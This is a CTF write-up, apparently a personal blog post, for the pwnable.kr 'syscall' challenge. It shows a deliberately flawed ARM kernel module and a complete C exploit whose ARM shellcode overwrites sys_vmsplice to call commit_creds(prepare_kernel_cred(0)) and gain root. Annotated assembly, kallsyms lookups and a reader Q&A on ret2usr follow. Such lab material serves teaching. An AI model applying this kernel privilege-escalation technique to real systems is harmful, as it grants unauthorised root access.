Syscall is the first pwnable.kr challenge that deals with a kernel vulnerability. It’s pretty much the simplest possible kernel vulnerability, with the only twist being that its on ARM. It is a new system call that takes a string and returns the string with all letters capitalized:

// adding a new system call : sys_upper

#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/slab.h>
#include <linux/vmalloc.h>
#include <linux/mm.h>
#include <asm/unistd.h>
#include <asm/page.h>
#include <linux/syscalls.h>

#define SYS_CALL_TABLE		0x8000e348		// manually configure this address!!
#define NR_SYS_UNUSED		223

//Pointers to re-mapped writable pages
unsigned int** sct;

asmlinkage long sys_upper(char *in, char* out){
	int len = strlen(in);
	int i;
	for(i=0; i<len; i++){
		if(in[i]>=0x61 && in[i]<=0x7a){
			out[i] = in[i] - 0x20;
		}
		else{
			out[i] = in[i];
		}
	}
	return 0;
}

static int __init initmodule(void ){
	sct = (unsigned int**)SYS_CALL_TABLE;
	sct[NR_SYS_UNUSED] = sys_upper;
	printk("sys_upper(number : 223) is added\n");
	return 0;
}

static void __exit exitmodule(void ){
	return;
}

module_init( initmodule );
module_exit( exitmodule );

The issue here is that there is no check on either the source or destination addresses of the strings. This creates a kind of distorted arbitrary read/write vulnerability, as the syscall will change any bytes that correspond to lower case characters. This allows you to write the necessary commit_creds code into executable kernel memory.

The following exploit overwrites the syscall vmsplice code with the grant_privs bytes which correspond to a call to commit_creds(prepare_kernel_cred(0)). Then vmsplice is called and and the code is run, which changes the uid of the program to 0 (root). Then the flag is read and printed:

//syscall solver
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>

#define SYS_UPPER 223
#define OVERWRITTEN 343

/* exploit output: 
[+] Overwriting sys_vmsplice...
[+] Got r00t
[+] Flag: Congratz!! addr_limit looks quite IMPORTANT now... huh?
*/

int main()
{
    char flag[128];
    char grant_privs[] = "\x01\x60\x8f\xe2\x16\xff\x2f\xe1\x01\xb5\x92\x1a"
                         "\x10\x1c\xf0\x46\x02\x4a\x90\x47\x02\x4a\x1c\x32"
                         "\x90\x47\x01\xbd\x24\xf9\x03\x80\x50\xf5\x03\x80";

    printf("[+] Overwriting sys_vmsplice...\n");
    void * sys_vmsplice = (void *)0x800e3dc8;

    syscall(SYS_UPPER, grant_privs, sys_vmsplice);
    syscall(OVERWRITTEN);

    if(getuid()){
        perror("[-] Something went wrong\n");
        return -1;
    }

    printf("[+] Got r00t\n");
    FILE * fp = fopen("/root/flag","r");
 
    if( fp == NULL )
    {
       perror("[-] Error while opening the flag file\n");
       return -1;
    }

    fgets(flag, 128, fp);
    printf("[+] Flag: %s", flag);
 
    fclose(fp);
    return 0;
}

I gotta say this is my prettiest exploit. I put some artistry into this one. But the first thing to attempt is commit_creds(prepare_kernel_cred(0)) code that avoids null bytes and lower case characters. After a lot of finagling I came up with the following assembly:

.data:00000008 b501 push {r0, lr}	      
.data:0000000a 1a92 subs r2, r2, r2	      
.data:0000000c 1c10 adds r0, r2, #0	      
.data:0000000e 46f0 mov r8, lr	      
.data:00000010 4a02 ldr r2, [pc, #8] ; (0x0000001c)	;char c = src[i]
.data:00000012 4790 blx r2	      
.data:00000014 4a02 ldr r2, [pc, #8] ; (0x00000020)	;dst[i] = c
.data:00000016 321c adds r2, #28	      
.data:00000018 4790 blx r2	;i++
.data:0000001a bd01 pop {r0, pc}	
      
.data:0000001c 8003f924
.data:00000020 8003f550

The last two 4 byte sequences are the addresses of prepare_kernel_cred and commit_creds which I found from /proc/kallsyms:

/ $ cat /proc/kallsyms|grep commit_creds
8003f56c T commit_creds
8044548c r __ksymtab_commit_creds
8044ffc8 r __kstrtab_commit_creds
/ $ cat /proc/kallsyms|grep prepare_kernel
8003f924 T prepare_kernel_cred
80447f34 r __ksymtab_prepare_kernel_cred
8044ff8c r __kstrtab_prepare_kernel_cred

I’ll go back and explain what these functions do later. man this is a messy writeup i gotta fix this up.

2 Comments

  1. sean Reply

    hi, i face an issue now. i use ret2user way to pwn.
    I can control PC now. i use commit_cred(prepare_kernel_cred(0)) to get root privilege.
    but fail every time.
    i study your write up. I found something don’t understand.
    why don’t you user the address of 8003f550, while the commit_cred ‘s address is 8003f56c

    • alkaline Reply

      I wrote the commit_cred code into kernel memory with the sys_upper syscall, and since 0x6c is “l” it would have been turned into L, corrupting the code. Instead my code adds 0x1c (28) to that address before calling it which is what the following code does


      .data:00000014 4a02 ldr r2, [pc, #8] ; (0x00000020) ;dst[i] = c
      .data:00000016 321c adds r2, #28
      .data:00000018 4790 blx r2

      As far as the ret2usr approach goes you just need to make sure you are overwriting a triggerable function pointer, and here you will also need to make sure the userspace address bytes you write in do not contain a lowercase letter.

Leave a Response